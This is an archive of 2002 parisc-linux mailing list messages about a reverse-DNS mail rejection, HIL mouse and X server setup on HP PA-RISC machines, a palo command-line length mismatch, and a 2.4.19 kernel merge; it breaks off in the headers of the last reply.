NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:49 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 13:00:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43C6F482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Aug 2002 13:00:39 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g74KJ5u6015466;
	Sun, 4 Aug 2002 21:19:05 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g74KJ4pH015464;
	Sun, 4 Aug 2002 21:19:04 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D4D879D.7020409@freebel.net>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15719

On Sun, 2002-08-04 at 20:59, Joel Soete wrote:
>      Remote MTA lightning.swansea.uk.linux.org: network error
> 
> 
>   - SMTP protocol diagnostic: 554 SMTP service not available (failed to 
> find host name from IP address)

Its one of the antispam tests. Your IP address doesnt have a reverse DNS
entry so it regards it as dubious. Probably a slightly excessive test.
I've turned it off for a bit to see what happens



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Srinivasan <james_srinivasan@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL Mouse device cannot be opened
Date: Sun, 4 Aug 2002 14:17:06 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <20020804211706.43184.qmail@web11201.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621590 11956 80.91.229.3 (22 Nov 2014 01:59:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 15:17:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web11201.mail.yahoo.com (web11201.mail.yahoo.com [216.136.131.171])
	by dsl2.external.hp.com (Postfix) with SMTP id 8633F4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Aug 2002 15:17:07 -0600 (MDT)
Original-Received: from [131.111.8.102] by web11201.mail.yahoo.com via HTTP; Sun, 04 Aug 2002 14:17:06 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15720

I've followed the HOWTO for using a HIL mouse with
XFree86 on my Apollo 715/33 but get the error message:

xf86OpenSerial: Cannot open device /dev/input/mice No
such device

when executing startx. Indeed, cat /dev/input/mice
also gives "No such device".

I upgraded the kernel using apt-get - does the 2.4.18
kernel available through this method support the HIL
drivers?

Many Thanks,

James

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com


From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL Mouse device cannot be opened
Date: Sun, 4 Aug 2002 17:59:56 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20020804215956.GF19482@systemhalted>
References: <20020804211706.43184.qmail@web11201.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621590 11959 80.91.229.3 (22 Nov 2014 01:59:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Srinivasan <james_srinivasan@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 16:01:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD7754829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Aug 2002 16:01:58 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bTPo-0007a7-00; Sun, 04 Aug 2002 17:59:56 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	James Srinivasan <james_srinivasan@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020804211706.43184.qmail@web11201.mail.yahoo.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15721

> I've followed the HOWTO for using a HIL mouse with
> XFree86 on my Apollo 715/33 but get the error message:
> 
> xf86OpenSerial: Cannot open device /dev/input/mice No
> such device
> 
> when executing startx. Indeed, cat /dev/input/mice
> also gives "No such device".
> 
> I upgraded the kernel using apt-get - does the 2.4.18
> kernel available through this method support the HIL
> drivers?
> 
> Many Thanks,
> 
> James

Double check that you have:

- When using devfs
	= Enabled input layer support in the kernel
- When not using devfs
	= Have the device node entries for /dev/input/*
	= And enabled input layer support in the kernel.

c.



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: cmdline and commanline has different limits?
Date: Sun, 4 Aug 2002 18:36:18 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20020804223618.GG19482@systemhalted>
References: <3D4D7AF8.9030005@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621590 11963 80.91.229.3 (22 Nov 2014 01:59:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:50 +0000 (UTC)
Cc: bame@fc.hp.com, parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 16:44:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34DC4829
	for <parisc-linux@parisc-linux.org>; Sun,  4 Aug 2002 16:44:00 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17bTz0-0007eh-00; Sun, 04 Aug 2002 18:36:18 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Joel Soete <joel.soete@freebel.net>, bame@fc.hp.com,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D4D7AF8.9030005@freebel.net>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15722

> Hi Paul,
> I just notice a small problem:
> In palo/palo/palo.c at line 720:
> 	...
> 	if (strlen(commandline) > 255)
> 	...
> OTC in palo/lib/common.h in struct firstblock at line 46:
>     char cmdline[128];          /* Up to 127 bytes of text plus a \0 */
>     unsigned char pad1[0xf0 - 8 - 7 * sizeof (int) - 128];
> 
> I do not know yet if pad1 can be removed so that cmdline could reach 204 
> [240-8-7*(sizeof int = 4?)] char lenght, also I prefer to let you choise.
> 
> Joel

I don't see why not? Would 200 characters be enough for your application?

I do think that "> 255" should be changed in palo.c

To push it out further would require teaching palo about 
both formats (and understanding why the comment mentions 
that all the data must fit in 256 byes).

c.


From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.19 tree merged in.
Date: 04 Aug 2002 17:25:59 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <1028503560.977.15.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621591 11967 80.91.229.3 (22 Nov 2014 01:59:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug  4 17:26:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C7784829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Aug 2002 17:26:01 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 1CE16BC97
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Aug 2002 17:26:00 -0600 (MDT)
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15723

Hello parisc-linux hackers,

The merge upto linux 2.4.19 was just committed into the parisc-linux
cvs tree.  This kernel boots fine on my 712 and C200.

Thanks,

- Ryan





From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3600 + Xfree86
Date: Mon, 5 Aug 2002 09:43:50 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0055_01C23C64.9A85C790"
X-Trace: ger.gmane.org 1416621591 11970 80.91.229.3 (22 Nov 2014 01:59:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:51 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 01:43:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe51.law3.hotmail.com [209.185.240.219])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C5D04829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 01:43:53 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 00:43:53 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 07:43:53.0047 (UTC) FILETIME=[D8686E70:01C23C53]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15724

This is a multi-part message in MIME format.

------=_NextPart_000_0055_01C23C64.9A85C790
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

Hi All,

Well I've just got my C3600 booting, however I have a problem with my =
fxe5.  Even with X configured for the fb device, the start log for X =
reports "unknown device".

Can anyone help, do I need to do something special to get X running. I'm =
used the STI kernel patch netinst image.

Thnaks in advance.
Alex

------=_NextPart_000_0055_01C23C64.9A85C790
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Hi All,</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Well I've just got my C3600 =
booting,=20
however I have a problem with my fxe5.&nbsp; Even with X configured for =
the fb=20
device, the start log for X reports "unknown device".</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Can anyone help, do I need to =
do something=20
special to get X running. I'm used the STI kernel patch netinst=20
image.</FONT></DIV>
<DIV><FONT face=3D"Courier New" size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Courier New" size=3D2>Thnaks in advance.</FONT></DIV>
<DIV><FONT face=3D"Courier New" =
size=3D2>Alex</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0055_01C23C64.9A85C790--


From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi Alan, ...
Date: Mon, 05 Aug 2002 09:06:12 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <3D4E4004.2090100@freebel.net>
References: <3D4D879D.7020409@freebel.net> <1028492343.15200.12.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621591 11973 80.91.229.3 (22 Nov 2014 01:59:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:51 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 02:03:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 940174829
	for <parisc-linux@parisc-linux.org>; Mon,  5 Aug 2002 02:03:41 -0600 (MDT)
Original-Received: from freebel.net (62.235.226.87) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3818190008FDD3; Mon, 5 Aug 2002 10:05:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15725

Hi Alan,

Alan Cox wrote:
> On Sun, 2002-08-04 at 20:59, Joel Soete wrote:
> 
>>     Remote MTA lightning.swansea.uk.linux.org: network error
>>
>>
>>  - SMTP protocol diagnostic: 554 SMTP service not available (failed to 
>>find host name from IP address)
> 
> 
> Its one of the antispam tests. Your IP address doesnt have a reverse DNS
> entry so it regards it as dubious.
Sorry, don't know how isp configure its services?
> Probably a slightly excessive test.
> I've turned it off for a bit to see what happens
> 

Thanks a lot for info :) ,
	Joel



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 05 Aug 2002 09:08:01 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3D4E4071.5020208@freebel.net>
References: <1028503560.977.15.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621592 11974 80.91.229.3 (22 Nov 2014 01:59:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 02:04:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AEA14829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 02:04:57 -0600 (MDT)
Original-Received: from freebel.net (62.235.226.87) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3816EE00090F51; Mon, 5 Aug 2002 10:04:52 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15726


Ryan Bradetich wrote:
> Hello parisc-linux hackers,
> 
> The merge upto linux 2.4.19 was just committed into the parisc-linux
> cvs tree.  This kernel boots fine on my 712 and C200.
> 

Great news, as soon as I will be back to office (2days) I will test it 
on my b180 and b2k :)

Thanks for info,
	Joel




From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 + Xfree86
Date: Mon, 05 Aug 2002 10:04:37 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3D4E4DB5.8070101@freebel.net>
References: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621592 11976 80.91.229.3 (22 Nov 2014 01:59:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 03:01:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33FF54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 03:01:33 -0600 (MDT)
Original-Received: from freebel.net (62.235.226.87) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D38181900090ACD; Mon, 5 Aug 2002 11:03:51 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15727

Hey Alex,

Alex Green wrote:
> Hi All,
>  
> Well I've just got my C3600 booting,
Great
> however I have a problem with my 
> fxe5.  Even with X configured for the fb device, the start log for X 
> reports "unknown device".
>  
> Can anyone help, do I need to do something special to get X running. I'm 
> used the STI kernel patch netinst image.
>  
Do you try to use XF86Config-4 from ftp://ftp.parisc-linux.org/XFree86/

Just pay attention that the actual resolution of your screen (at boot 
prompt you should find a menu which can give you this info) must match 
the 'Mode ...' you set in 'SubSection "Display"' for the rest it should 
works.

Good luck,
	Joel



From - Thu Nov 08 21:24:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 + Xfree86
Date: Mon, 5 Aug 2002 11:05:47 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <OE38DKaacBkMTBvyXY100005c6c@hotmail.com>
References: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com> <3D4E4DB5.8070101@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621592 11980 80.91.229.3 (22 Nov 2014 01:59:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:52 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 03:05:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe38.law3.hotmail.com [209.185.240.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B10B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 03:05:53 -0600 (MDT)
